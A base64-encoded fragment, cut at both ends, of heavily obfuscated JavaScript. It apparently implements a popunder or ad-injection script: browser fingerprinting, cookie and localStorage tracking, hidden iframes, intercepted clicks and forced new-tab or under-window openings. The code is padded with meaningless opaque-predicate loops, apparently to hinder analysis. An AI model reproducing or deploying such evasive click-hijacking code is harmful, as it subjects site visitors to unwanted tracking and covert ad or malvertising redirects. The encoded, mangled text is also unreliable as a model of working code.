gxOTkpO0VzPXc1Llo2KDM4NCk7UHM9dzUuZjYoNDA2KTtUcz13NS5mNig0MjkpO0FzPXc1LmY2KDI0Nyk7RnM9dzUuZjYoNDQzKTtTcz13NS5mNigzMzgpO2pzPS8oPzpGaXJlZm94fENocm9tZSlcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0xzPXc1Llo2KDM3MCk7enM9dzUuZjYoMzEwKTtCcz13NS5aNigzODYpO0lzPXc1Llo2KDI5NCk7TXM9dzUuWjYoMjgzKTtXcz13NS5aNigzODcpO0RzPXc1LmY2KDM5KTtVcz13NS5aNigxMDYpO1JzPXc1LmY2KDIwMik7TnM9dzUuWjYoMzExKTtIcz13NS5mNig0MzgpO3FzPXc1LmY2KDcxKTtKcz13NS5mNigxMzcpO1ZzPXc1Llo2KDI3KTskcz13NS5aNig4NCk7UXM9L18vZztHcz13NS5aNigxNTgpO1lzPXc1Llo2KDE5Mik7S3M9dzUuZjYoNDIzKTtacz13NS5mNigzMzkpO1hzPXc1Llo2KDE1MCk7dGE9dzUuWjYoMTQyKTtlYT13NS5mNig0KTtpYT13NS5aNig0MTApO25hPXc1LmY2KDIzNik7cmE9dzUuZjYoNDAyKTtvYT13NS5mNigyMTQpO3NhPXc1Llo2KDQxNyk7YWE9dzUuZjYoMTg0KTtjYT13NS5aNigxOTcpO3VhPXc1LmY2KDIzMyk7aGE9dzUuZjYoMzApO2ZhPS9saW51eC87cGE9dzUuWjYoMjgyKTtfYT0vb3BlcmEvO2xhPXc1Llo2KDM2NCk7ZGE9dzUuWjYoMTczKTt2YT13NS5aNigzMDApO2JhPXc1LmY2KDIzNSk7bWE9L2VkZ2V8b3ByXC8vO2dhPXc1LmY2KDI4NSk7eWE9dzUuZjYoNDYpO2thPXc1Llo2KDEzKTt3YT13NS5aNigyMDUpO3hhPXc1LmY2KDIyNCk7T2E9dzUuZjYoMzQ0KTtDYT13NS5aNigyMTMpO0VhPS9FZGdlXC8oW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTtQYT13NS5mNigxMjYpO1RhPXc1Llo2KDExNCk7QWE9L14oPzouKlteXHddKSooW1x3XSspXHMqJC9pO0ZhPXc1LmY2KDM5Mik7U2E9dzUuWjYoNjkpO2phPXc1LmY2KDMpO0xhPXc1LmY2KDQ1KTt6YT13NS5mNigzMjMpO0JhPXc1LmY2KDEzOSk7SWE9dzUuWjYoMTI5KTtNYT13NS5mNig4KTtXYT13NS5mNig0Mik7RGE9dzUuZjYoMSk7VWE9dzUuWjYoODkpO1JhPXc1LmY2KDIwOSk7TmE9dzUuZjYoMjgpO0hhPXc1LmY2KDIxOSk7cWE9dzUuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKH